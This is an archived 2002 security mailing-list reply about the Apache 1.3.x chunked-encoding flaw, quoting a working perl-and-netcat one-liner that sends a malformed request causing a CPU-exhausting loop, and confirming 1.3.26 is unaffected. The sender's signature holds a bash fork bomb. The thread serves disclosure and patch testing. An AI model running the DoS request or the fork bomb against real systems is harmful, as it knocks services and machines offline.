Re: apache chunked encoding

From: Edwin Groothuis (edwinat_private)
Date: Wed Jun 19 2002 - 19:13:16 PDT

Next message: Stefan Esser: "Apache Exploit"

Previous message: gobblesat_private: "Remote Apache 1.3.x Exploit"
In reply to: Przemyslaw Frasunek: "apache chunked encoding"
Next in thread: David Bernick: "Re: apache chunked encoding"
Next in thread: cc: "Re: Re: apache chunked encoding"
Reply: cc: "Re: Re: apache chunked encoding"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Thu, Jun 20, 2002 at 12:21:47AM +0200, Przemyslaw Frasunek wrote:
> I was playing a bit with chunked encoding vulnerability and found the
> following. When I send a request to Apache 1.3.24 using malformed
> chunked encoding, httpd process goes into infinite loop and CPU load
> grows to 100%. Example:
> 
> perl -e 'print "POST http://www/index.html HTTP/1.1\r\nAccept: */*\r\nHost: www\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\nContent-length: 5000\r\n\r\n" . "A"x5000 . "\r\n\r\n"' | nc localhost 80
> 
> 62681 www       63   0   146M  5364K RUN      3:08 45.90% 45.90% apache
> 42121 www       63   0   139M  2524K RUN      1:15 44.97% 44.97% apache
> 
> Can anyone try it with 1.3.26?

Apache 1.3.26 doesn't show this behaviour
(yes, I've tried it with 1.3.20 first)

Edwin
-- 
Edwin Groothuis      |           Personal website: http://www.MavEtJu.org
edwinat_private    |        Interested in MUDs? Visit Fatal Dimensions:
bash$ :(){ :|:&};:   |                    http://www.FatalDimensions.org/

Next message: Stefan Esser: "Apache Exploit"
Previous message: gobblesat_private: "Remote Apache 1.3.x Exploit"
In reply to: Przemyslaw Frasunek: "apache chunked encoding"
Next in thread: David Bernick: "Re: apache chunked encoding"
Next in thread: cc: "Re: Re: apache chunked encoding"
Reply: cc: "Re: Re: apache chunked encoding"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Wed Jun 19 2002 - 21:07:12 PDT